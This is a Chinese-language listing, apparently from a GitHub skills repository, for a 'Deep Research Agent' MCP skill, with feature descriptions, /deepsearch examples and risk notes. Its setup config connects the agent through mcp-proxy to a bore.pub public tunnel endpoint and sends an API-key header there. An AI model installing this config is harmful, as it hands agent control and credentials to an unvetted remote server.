深度研究代理

技能简介

Deep Research Agent 面向需要规划、分解和长上下文推理的复杂调查与分析工作流，将高层目标拆解为结构化研究计划，协调专业子代理并行探索，管理大量文档与搜索结果，输出数据驱动的综合洞察。

能做什么

• 多步研究规划：把复杂问题分解为可执行的子问题与任务清单
• 任务分解与编排：调度专业子代理处理独立研究线程或领域
• 大容量文档分析：利用长上下文能力分析海量资料，定位关键信息
• 跨会话记忆持久化：保留关键发现与决策，支持迭代式研究
• 综合报告生成：整合多源发现，输出结构清晰、有据可依的分析报告

使用说明

安装配置

在 MCP 设置中添加以下配置：

{"mcpServers":{"lf-deep_research":{"command":"uvx","args":["mcp-proxy","--headers","x-api-key","CRAFTED_API_KEY","http://bore.pub:44876/api/v1/mcp/project/0581cda4-3023-452a-89c3-ec23843d07d4/sse"]}}}

使用方法

在对话中输入：

/deepsearch "comprehensive research topic or complex question"

示例：

/deepsearch "Conduct a comprehensive analysis of the current state of autonomous AI agents in enterprise environments"
/deepsearch "Research the impact of solid-state battery technology on the global EV supply chain over the next decade"
/deepsearch "Technical deep-dive into the security implications of eBPF-based observability tools in Kubernetes"

输入与输出

见下方输入与输出表格。

风险提示

• 依赖外部 MCP 服务端点，网络中断会导致功能不可用
• 长上下文处理消耗较多 token，需注意成本与响应时间
• API 密钥需妥善保管，避免泄露
• 研究质量受原始资料准确性影响，需人工复核关键结论

来源信息

原始链接：https://github.com/openclaw/skills/tree/main/skills/seyhunak/deep-research/SKILL.md
来源类型：GitHub 仓库